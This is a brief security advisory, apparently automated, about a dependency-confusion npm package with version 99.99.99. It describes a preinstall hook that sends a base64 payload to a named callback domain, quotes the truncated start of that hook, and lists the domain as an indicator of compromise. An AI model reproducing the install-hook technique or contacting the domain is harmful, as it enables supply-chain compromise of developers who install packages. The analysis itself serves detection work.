GCVE-110-OSM-2026-10551

This looks like a dependency-confusion lure whose attacker model is an internal package typosquat/version override: the all-nines version 99.99.99, brand-new npm account, and no repository are classic placement signals. The decisive evidence is the preinstall hook in package.json constructing a callback URL to pkgsub.callback.m0chan.co.uk with a base64 payload, which is consistent with a payload fetch/execution step rather than normal build tooling. Even though index.js only exports an empty object, the install-time behavior and fetched-payload IOC show the malicious logic lives in package.json, not the module body. This should be treated as a malicious package attempting to trigger on victims who install the public name instead of the intended internal dependency. ENTRY index.js (main: index.js) - Preinstall Script in package.json: ""preinstall": "b64=$(printf '%s' \"" DESTINATION - 2 fetched-payload (urls, domains) (values recorded in verified_iocs) ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account